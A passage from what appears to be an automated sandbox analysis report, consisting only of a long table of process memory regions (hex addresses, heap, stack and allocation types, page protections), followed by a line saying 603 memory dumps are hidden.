page read and write
|
||
25048327000
|
heap
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
6F97000
|
heap
|
page read and write
|
||
25048472000
|
heap
|
page read and write
|
||
25048520000
|
heap
|
page read and write
|
||
343E000
|
unkown
|
page read and write
|
||
4460000
|
remote allocation
|
page execute and read and write
|
||
29DD000
|
stack
|
page read and write
|
||
25048321000
|
heap
|
page read and write
|
||
2504651A000
|
heap
|
page read and write
|
||
B70000
|
heap
|
page read and write
|
||
6E10000
|
heap
|
page execute and read and write
|
||
2504669D000
|
heap
|
page read and write
|
||
6F80000
|
direct allocation
|
page read and write
|
||
6F70000
|
direct allocation
|
page read and write
|
||
25046541000
|
heap
|
page read and write
|
||
5183000
|
trusted library allocation
|
page read and write
|
||
79EE6FE000
|
stack
|
page read and write
|
||
25048464000
|
heap
|
page read and write
|
||
250464FD000
|
heap
|
page read and write
|
||
8860000
|
direct allocation
|
page execute and read and write
|
||
7200000
|
heap
|
page read and write
|
||
85BC000
|
heap
|
page read and write
|
||
25048472000
|
heap
|
page read and write
|
||
CCF000
|
stack
|
page read and write
|
||
2C40000
|
heap
|
page read and write
|
||
6FC0000
|
direct allocation
|
page read and write
|
||
6D4E000
|
stack
|
page read and write
|
||
8260000
|
trusted library allocation
|
page read and write
|
||
853E000
|
stack
|
page read and write
|
||
1B5DBBB2000
|
heap
|
page read and write
|
||
7FFD9B91A000
|
trusted library allocation
|
page read and write
|
||
2504832F000
|
heap
|
page read and write
|
||
84FB000
|
stack
|
page read and write
|
||
1B5DD500000
|
trusted library allocation
|
page read and write
|
||
24922CE0000
|
heap
|
page read and write
|
||
C8E000
|
stack
|
page read and write
|
||
7DF474D00000
|
trusted library allocation
|
page execute and read and write
|
||
7FFD9BA20000
|
trusted library allocation
|
page read and write
|
||
227D0000
|
direct allocation
|
page read and write
|
||
6F57000
|
heap
|
page read and write
|
||
25046523000
|
heap
|
page read and write
|
||
25046523000
|
heap
|
page read and write
|
||
E60000
|
trusted library allocation
|
page read and write
|
||
70F0000
|
direct allocation
|
page read and write
|
||
7190000
|
direct allocation
|
page read and write
|
||
25046542000
|
heap
|
page read and write
|
||
1B5DD5B0000
|
trusted library allocation
|
page read and write
|
||
1B5DBAC0000
|
heap
|
page read and write
|
||
B50000
|
heap
|
page read and write
|
||
1B5DDE6D000
|
trusted library allocation
|
page read and write
|
||
7FFD9BA40000
|
trusted library allocation
|
page read and write
|
||
C97000
|
heap
|
page read and write
|
||
30FB000
|
heap
|
page read and write
|
||
1B5F5BF0000
|
heap
|
page execute and read and write
|
||
83D5000
|
trusted library allocation
|
page read and write
|
||
25046400000
|
heap
|
page read and write
|
||
25048449000
|
heap
|
page read and write
|
||
AFD000
|
stack
|
page read and write
|
||
337E000
|
stack
|
page read and write
|
||
25046538000
|
heap
|
page read and write
|
||
9F0308A000
|
stack
|
page read and write
|
||
25048449000
|
heap
|
page read and write
|
||
7FFD9BA70000
|
trusted library allocation
|
page read and write
|
||
1B5F5C30000
|
heap
|
page execute and read and write
|
||
2504857B000
|
heap
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
2504857B000
|
heap
|
page read and write
|
||
82CD000
|
stack
|
page read and write
|
||
9F01D3E000
|
unkown
|
page read and write
|
||
1B5DD600000
|
heap
|
page execute and read and write
|
||
489E000
|
stack
|
page read and write
|
||
250485D4000
|
heap
|
page read and write
|
||
24922EF0000
|
heap
|
page read and write
|
||
7120000
|
heap
|
page read and write
|
||
DF0000
|
trusted library section
|
page read and write
|
||
7840000
|
trusted library allocation
|
page read and write
|
||
249230B0000
|
heap
|
page read and write
|
||
22DD0000
|
heap
|
page read and write
|
||
7650000
|
trusted library allocation
|
page read and write
|
||
6F20000
|
direct allocation
|
page read and write
|
||
9F01F7E000
|
stack
|
page read and write
|
||
772E000
|
stack
|
page read and write
|
||
1B5DDEA1000
|
trusted library allocation
|
page read and write
|
||
250464FD000
|
heap
|
page read and write
|
||
7FFD9B763000
|
trusted library allocation
|
page execute and read and write
|
||
7FFD9B9B0000
|
trusted library allocation
|
page read and write
|
||
38E0000
|
heap
|
page read and write
|
||
2288F000
|
stack
|
page read and write
|
||
1B5DBC1C000
|
heap
|
page read and write
|
||
C7E000
|
stack
|
page read and write
|
||
250484E5000
|
heap
|
page read and write
|
||
25046477000
|
heap
|
page read and write
|
||
1B5DBAF0000
|
heap
|
page read and write
|
||
1B5F5BC1000
|
heap
|
page read and write
|
||
3280000
|
heap
|
page read and write
|
||
77C0000
|
trusted library allocation
|
page read and write
|
||
1B5DD670000
|
heap
|
page read and write
|
||
C90000
|
heap
|
page read and write
|
||
250484B8000
|
heap
|
page read and write
|
||
85B0000
|
heap
|
page read and write
|
||
1B5DDD9E000
|
trusted library allocation
|
page read and write
|
||
E50000
|
trusted library allocation
|
page read and write
|
||
25048321000
|
heap
|
page read and write
|
||
25048421000
|
heap
|
page read and write
|
||
25048326000
|
heap
|
page read and write
|
||
693E000
|
stack
|
page read and write
|
||
8840000
|
trusted library allocation
|
page read and write
|
||
25046521000
|
heap
|
page read and write
|
||
73C0000
|
trusted library allocation
|
page read and write
|
||
25046523000
|
heap
|
page read and write
|
||
79EE3DA000
|
stack
|
page read and write
|
||
58C9000
|
trusted library allocation
|
page read and write
|
||
7820000
|
trusted library allocation
|
page read and write
|
||
327D000
|
stack
|
page read and write
|
||
1B5F5B92000
|
heap
|
page read and write
|
||
250464FB000
|
heap
|
page read and write
|
||
6F62000
|
heap
|
page read and write
|
||
77B0000
|
trusted library allocation
|
page read and write
|
||
79EE9FE000
|
stack
|
page read and write
|
||
A57B000
|
direct allocation
|
page execute and read and write
|
||
8780000
|
trusted library allocation
|
page execute and read and write
|
||
226EE000
|
stack
|
page read and write
|
||
71C0000
|
direct allocation
|
page read and write
|
||
7FFD9BA30000
|
trusted library allocation
|
page read and write
|
||
6F10000
|
direct allocation
|
page read and write
|
||
7FFD9B77B000
|
trusted library allocation
|
page read and write
|
||
8240000
|
trusted library allocation
|
page execute and read and write
|
||
5B4F000
|
trusted library allocation
|
page read and write
|
||
25046470000
|
heap
|
page read and write
|
||
63FB000
|
remote allocation
|
page execute and read and write
|
||
7160000
|
direct allocation
|
page read and write
|
||
E6D000
|
trusted library allocation
|
page execute and read and write
|
||
7FFD9B980000
|
trusted library allocation
|
page read and write
|
||
3186000
|
heap
|
page read and write
|
||
79EEDFF000
|
stack
|
page read and write
|
||
25048464000
|
heap
|
page read and write
|
||
2504859F000
|
heap
|
page read and write
|
||
227F0000
|
direct allocation
|
page read and write
|
||
25046538000
|
heap
|
page read and write
|
||
E90000
|
trusted library allocation
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
9F0207E000
|
stack
|
page read and write
|
||
E30000
|
heap
|
page read and write
|
||
2504649F000
|
heap
|
page read and write
|
||
68FC000
|
stack
|
page read and write
|
||
7600000
|
trusted library allocation
|
page read and write
|
||
E64000
|
trusted library allocation
|
page read and write
|
||
25048477000
|
heap
|
page read and write
|
||
2249D000
|
stack
|
page read and write
|
||
7FFD9B9A0000
|
trusted library allocation
|
page read and write
|
||
2504833E000
|
heap
|
page read and write
|
||
2504848E000
|
heap
|
page read and write
|
||
6ED8000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
25048326000
|
heap
|
page read and write
|
||
2504651F000
|
heap
|
page read and write
|
||
25048533000
|
heap
|
page read and write
|
||
24922F10000
|
heap
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
776D000
|
stack
|
page read and write
|
||
8340000
|
trusted library allocation
|
page read and write
|
||
1B5DD8A5000
|
trusted library allocation
|
page read and write
|
||
6E3F000
|
stack
|
page read and write
|
||
1B5F5C37000
|
heap
|
page execute and read and write
|
||
7FFD9B764000
|
trusted library allocation
|
page read and write
|
||
1B5DD570000
|
trusted library allocation
|
page read and write
|
||
9F01C73000
|
stack
|
page read and write
|
||
25047F70000
|
remote allocation
|
page read and write
|
||
D0E000
|
stack
|
page read and write
|
||
9F024BF000
|
stack
|
page read and write
|
||
7FFD9BA10000
|
trusted library allocation
|
page read and write
|
||
E70000
|
trusted library allocation
|
page read and write
|
||
7180000
|
direct allocation
|
page read and write
|
||
6EC0000
|
direct allocation
|
page read and write
|
||
77A0000
|
trusted library allocation
|
page read and write
|
||
22800000
|
direct allocation
|
page read and write
|
||
344B000
|
heap
|
page read and write
|
||
85C0000
|
heap
|
page read and write
|
||
7FFD9B810000
|
trusted library allocation
|
page read and write
|
||
25046521000
|
heap
|
page read and write
|
||
82D0000
|
heap
|
page read and write
|
||
7FFD9B960000
|
trusted library allocation
|
page read and write
|
||
7660000
|
trusted library allocation
|
page read and write
|
||
1B5ED97C000
|
trusted library allocation
|
page read and write
|
||
25048327000
|
heap
|
page read and write
|
||
7140000
|
direct allocation
|
page read and write
|
||
6F90000
|
direct allocation
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
25048444000
|
heap
|
page read and write
|
||
1B5ED690000
|
trusted library allocation
|
page read and write
|
||
7501000
|
heap
|
page read and write
|
||
2504848E000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
E63000
|
trusted library allocation
|
page execute and read and write
|
||
7770000
|
trusted library allocation
|
page read and write
|
||
7FFD9B880000
|
trusted library allocation
|
page execute and read and write
|
||
917B000
|
direct allocation
|
page execute and read and write
|
||
1B5DF447000
|
trusted library allocation
|
page read and write
|
||
73C8000
|
trusted library allocation
|
page read and write
|
||
1B5ED6A1000
|
trusted library allocation
|
page read and write
|
||
2504833B000
|
heap
|
page read and write
|
||
91C000
|
stack
|
page read and write
|
||
2504669C000
|
heap
|
page read and write
|
||
E95000
|
trusted library allocation
|
page execute and read and write
|
||
9F01EFD000
|
stack
|
page read and write
|
||
90D7000
|
trusted library allocation
|
page read and write
|
||
25048496000
|
heap
|
page read and write
|
||
7FFD9B9E0000
|
trusted library allocation
|
page read and write
|
||
6D0E000
|
stack
|
page read and write
|
||
6ED0000
|
heap
|
page read and write
|
||
1B5DBB64000
|
heap
|
page read and write
|
||
77F0000
|
trusted library allocation
|
page read and write
|
||
7FFD9B970000
|
trusted library allocation
|
page read and write
|
||
25048472000
|
heap
|
page read and write
|
||
9F02F0E000
|
stack
|
page read and write
|
||
25048327000
|
heap
|
page read and write
|
||
3121000
|
heap
|
page read and write
|
||
1B5F5E33000
|
heap
|
page read and write
|
||
2504848B000
|
heap
|
page read and write
|
||
9F01FFE000
|
stack
|
page read and write
|
||
22C8E000
|
stack
|
page read and write
|
||
7FFD9B846000
|
trusted library allocation
|
page execute and read and write
|
||
25048483000
|
heap
|
page read and write
|
||
25046430000
|
heap
|
page read and write
|
||
25048534000
|
heap
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
1B5ED96D000
|
trusted library allocation
|
page read and write
|
||
22BCC000
|
stack
|
page read and write
|
||
25048536000
|
heap
|
page read and write
|
||
1B5DF44F000
|
trusted library allocation
|
page read and write
|
||
7FFD9B9D0000
|
trusted library allocation
|
page read and write
|
||
2504649E000
|
heap
|
page read and write
|
||
6DFC000
|
stack
|
page read and write
|
||
7FFD9B9C0000
|
trusted library allocation
|
page read and write
|
||
25048449000
|
heap
|
page read and write
|
||
25046690000
|
heap
|
page read and write
|
||
5185000
|
trusted library allocation
|
page read and write
|
||
25046695000
|
heap
|
page read and write
|
||
250484AB000
|
heap
|
page read and write
|
||
7130000
|
direct allocation
|
page read and write
|
||
9D0000
|
heap
|
page read and write
|
||
7830000
|
trusted library allocation
|
page read and write
|
||
25048321000
|
heap
|
page read and write
|
||
8320000
|
heap
|
page read and write
|
||
250464D6000
|
heap
|
page read and write
|
||
1B5DDCDC000
|
trusted library allocation
|
page read and write
|
||
2504651C000
|
heap
|
page read and write
|
||
58B1000
|
trusted library allocation
|
page read and write
|
||
7FFD9B900000
|
trusted library allocation
|
page read and write
|
||
25046521000
|
heap
|
page read and write
|
||
2504650E000
|
heap
|
page read and write
|
||
2F24000
|
heap
|
page read and write
|
||
9E0000
|
heap
|
page read and write
|
||
1B5F5AD0000
|
heap
|
page read and write
|
||
7FFD9B770000
|
trusted library allocation
|
page read and write
|
||
71A0000
|
direct allocation
|
page read and write
|
||
D10000
|
heap
|
page read and write
|
||
7FFD9B950000
|
trusted library allocation
|
page execute and read and write
|
||
250464DC000
|
heap
|
page read and write
|
||
1B5DBB69000
|
heap
|
page read and write
|
||
22B4B000
|
stack
|
page read and write
|
||
1B5F5E35000
|
heap
|
page read and write
|
||
8580000
|
heap
|
page read and write
|
||
E3B000
|
heap
|
page read and write
|
||
25046523000
|
heap
|
page read and write
|
||
7436000
|
heap
|
page read and write
|
||
765D000
|
trusted library allocation
|
page read and write
|
||
25048483000
|
heap
|
page read and write
|
||
7FFD9B76D000
|
trusted library allocation
|
page execute and read and write
|
||
228DE000
|
stack
|
page read and write
|
||
385F000
|
stack
|
page read and write
|
||
DEE000
|
stack
|
page read and write
|
||
590B000
|
trusted library allocation
|
page read and write
|
||
2504853E000
|
heap
|
page read and write
|
||
250464AE000
|
heap
|
page read and write
|
||
7100000
|
direct allocation
|
page read and write
|
||
25046516000
|
heap
|
page read and write
|
||
58A1000
|
trusted library allocation
|
page read and write
|
||
1B5DBC0F000
|
heap
|
page read and write
|
||
4840000
|
trusted library allocation
|
page read and write
|
||
25048323000
|
heap
|
page read and write
|
||
6F40000
|
direct allocation
|
page read and write
|
||
7FFD9B762000
|
trusted library allocation
|
page read and write
|
||
1B5DBB4C000
|
heap
|
page read and write
|
||
9F01DBE000
|
stack
|
page read and write
|
||
1B5DD540000
|
trusted library allocation
|
page read and write
|
||
250464FD000
|
heap
|
page read and write
|
||
250484A8000
|
heap
|
page read and write
|
||
3710000
|
heap
|
page read and write
|
||
25047F70000
|
remote allocation
|
page read and write
|
||
2504848D000
|
heap
|
page read and write
|
||
25048483000
|
heap
|
page read and write
|
||
7FFD9BAA0000
|
trusted library allocation
|
page read and write
|
||
79EECFB000
|
stack
|
page read and write
|
||
4FFB000
|
remote allocation
|
page execute and read and write
|
||
250485CF000
|
heap
|
page read and write
|
||
1B5DBE90000
|
heap
|
page read and write
|
||
F49F0FF000
|
unkown
|
page read and write
|
||
25046538000
|
heap
|
page read and write
|
||
738E000
|
stack
|
page read and write
|
||
6D8E000
|
stack
|
page read and write
|
||
8790000
|
trusted library allocation
|
page read and write
|
||
2504854D000
|
heap
|
page read and write
|
||
25048346000
|
heap
|
page read and write
|
||
1B5F5AE0000
|
heap
|
page read and write
|
||
2F08000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
76AE000
|
stack
|
page read and write
|
||
7120000
|
direct allocation
|
page read and write
|
||
7413000
|
heap
|
page read and write
|
||
1B5F5B30000
|
heap
|
page read and write
|
||
2FBE000
|
stack
|
page read and write
|
||
7610000
|
trusted library allocation
|
page read and write
|
||
25047FD0000
|
heap
|
page read and write
|
||
22A00000
|
heap
|
page read and write
|
||
7850000
|
trusted library allocation
|
page read and write
|
||
2504652F000
|
heap
|
page read and write
|
||
2504832F000
|
heap
|
page read and write
|
||
1B5ED6F3000
|
trusted library allocation
|
page read and write
|
||
2255E000
|
stack
|
page read and write
|
||
25048321000
|
heap
|
page read and write
|
||
73F0000
|
heap
|
page read and write
|
||
24922D20000
|
heap
|
page read and write
|
||
1B5DEF29000
|
trusted library allocation
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
1B5F5ADA000
|
heap
|
page read and write
|
||
250485CD000
|
heap
|
page read and write
|
||
F49EDAD000
|
stack
|
page read and write
|
||
25048483000
|
heap
|
page read and write
|
||
3167000
|
heap
|
page read and write
|
||
28DD000
|
stack
|
page read and write
|
||
33F0000
|
heap
|
page read and write
|
||
25048365000
|
heap
|
page read and write
|
||
789B000
|
stack
|
page read and write
|
||
25048444000
|
heap
|
page read and write
|
||
3190000
|
heap
|
page read and write
|
||
250485D6000
|
heap
|
page read and write
|
||
68A8000
|
trusted library allocation
|
page read and write
|
||
25046521000
|
heap
|
page read and write
|
||
375E000
|
stack
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
1B5DF643000
|
trusted library allocation
|
page read and write
|
||
1B5DDB2C000
|
trusted library allocation
|
page read and write
|
||
1B5F5DB0000
|
heap
|
page read and write
|
||
33E0000
|
heap
|
page read and write
|
||
7FFD9B816000
|
trusted library allocation
|
page read and write
|
||
2504848B000
|
heap
|
page read and write
|
||
1B5DBBAC000
|
heap
|
page read and write
|
||
6E60000
|
heap
|
page readonly
|
||
25048525000
|
heap
|
page read and write
|
||
7FFD9B990000
|
trusted library allocation
|
page read and write
|
||
22C0E000
|
stack
|
page read and write
|
||
6F60000
|
direct allocation
|
page read and write
|
||
25048335000
|
heap
|
page read and write
|
||
6F30000
|
direct allocation
|
page read and write
|
||
74E8000
|
heap
|
page read and write
|
||
2504649F000
|
heap
|
page read and write
|
||
1B5DBB2B000
|
heap
|
page read and write
|
||
958000
|
stack
|
page read and write
|
||
6F50000
|
direct allocation
|
page read and write
|
||
70E0000
|
direct allocation
|
page read and write
|
||
85EA000
|
heap
|
page read and write
|
||
25048496000
|
heap
|
page read and write
|
||
E79000
|
trusted library allocation
|
page read and write
|
||
1B5DBB73000
|
heap
|
page read and write
|
||
22DE0000
|
heap
|
page read and write
|
||
7FFD9BA90000
|
trusted library allocation
|
page read and write
|
||
2504849B000
|
heap
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
71D0000
|
direct allocation
|
page read and write
|
||
85A0000
|
heap
|
page read and write
|
||
25048472000
|
heap
|
page read and write
|
||
2504847E000
|
heap
|
page read and write
|
||
7FFD9B930000
|
trusted library allocation
|
page execute and read and write
|
||
312E000
|
heap
|
page read and write
|
||
24922D2B000
|
heap
|
page read and write
|
||
84BC000
|
stack
|
page read and write
|
||
7810000
|
trusted library allocation
|
page read and write
|
||
229AE000
|
stack
|
page read and write
|
||
250464D5000
|
heap
|
page read and write
|
||
6FA0000
|
direct allocation
|
page read and write
|
||
25048327000
|
heap
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
7403000
|
heap
|
page read and write
|
||
7110000
|
heap
|
page read and write
|
||
75F0000
|
trusted library allocation
|
page read and write
|
||
25046410000
|
heap
|
page read and write
|
||
2504857A000
|
heap
|
page read and write
|
||
1B5DF462000
|
trusted library allocation
|
page read and write
|
||
249230B5000
|
heap
|
page read and write
|
||
79EEFFB000
|
stack
|
page read and write
|
||
25048448000
|
heap
|
page read and write
|
||
2504848D000
|
heap
|
page read and write
|
||
30D0000
|
heap
|
page read and write
|
||
87B0000
|
trusted library allocation
|
page read and write
|
||
25048420000
|
heap
|
page read and write
|
||
88D0000
|
trusted library allocation
|
page execute and read and write
|
||
7FFD9BAC0000
|
trusted library allocation
|
page read and write
|
||
1B5DBEB4000
|
heap
|
page read and write
|
||
4850000
|
heap
|
page execute and read and write
|
||
1B5DD703000
|
trusted library allocation
|
page read and write
|
||
2F24000
|
heap
|
page read and write
|
||
857C000
|
stack
|
page read and write
|
||
2272F000
|
stack
|
page read and write
|
||
7FFD9B9F0000
|
trusted library allocation
|
page read and write
|
||
2D9E000
|
stack
|
page read and write
|
||
1B5DD520000
|
trusted library allocation
|
page read and write
|
||
9F0300D000
|
stack
|
page read and write
|
There are 603 hidden memdumps, click here to show them.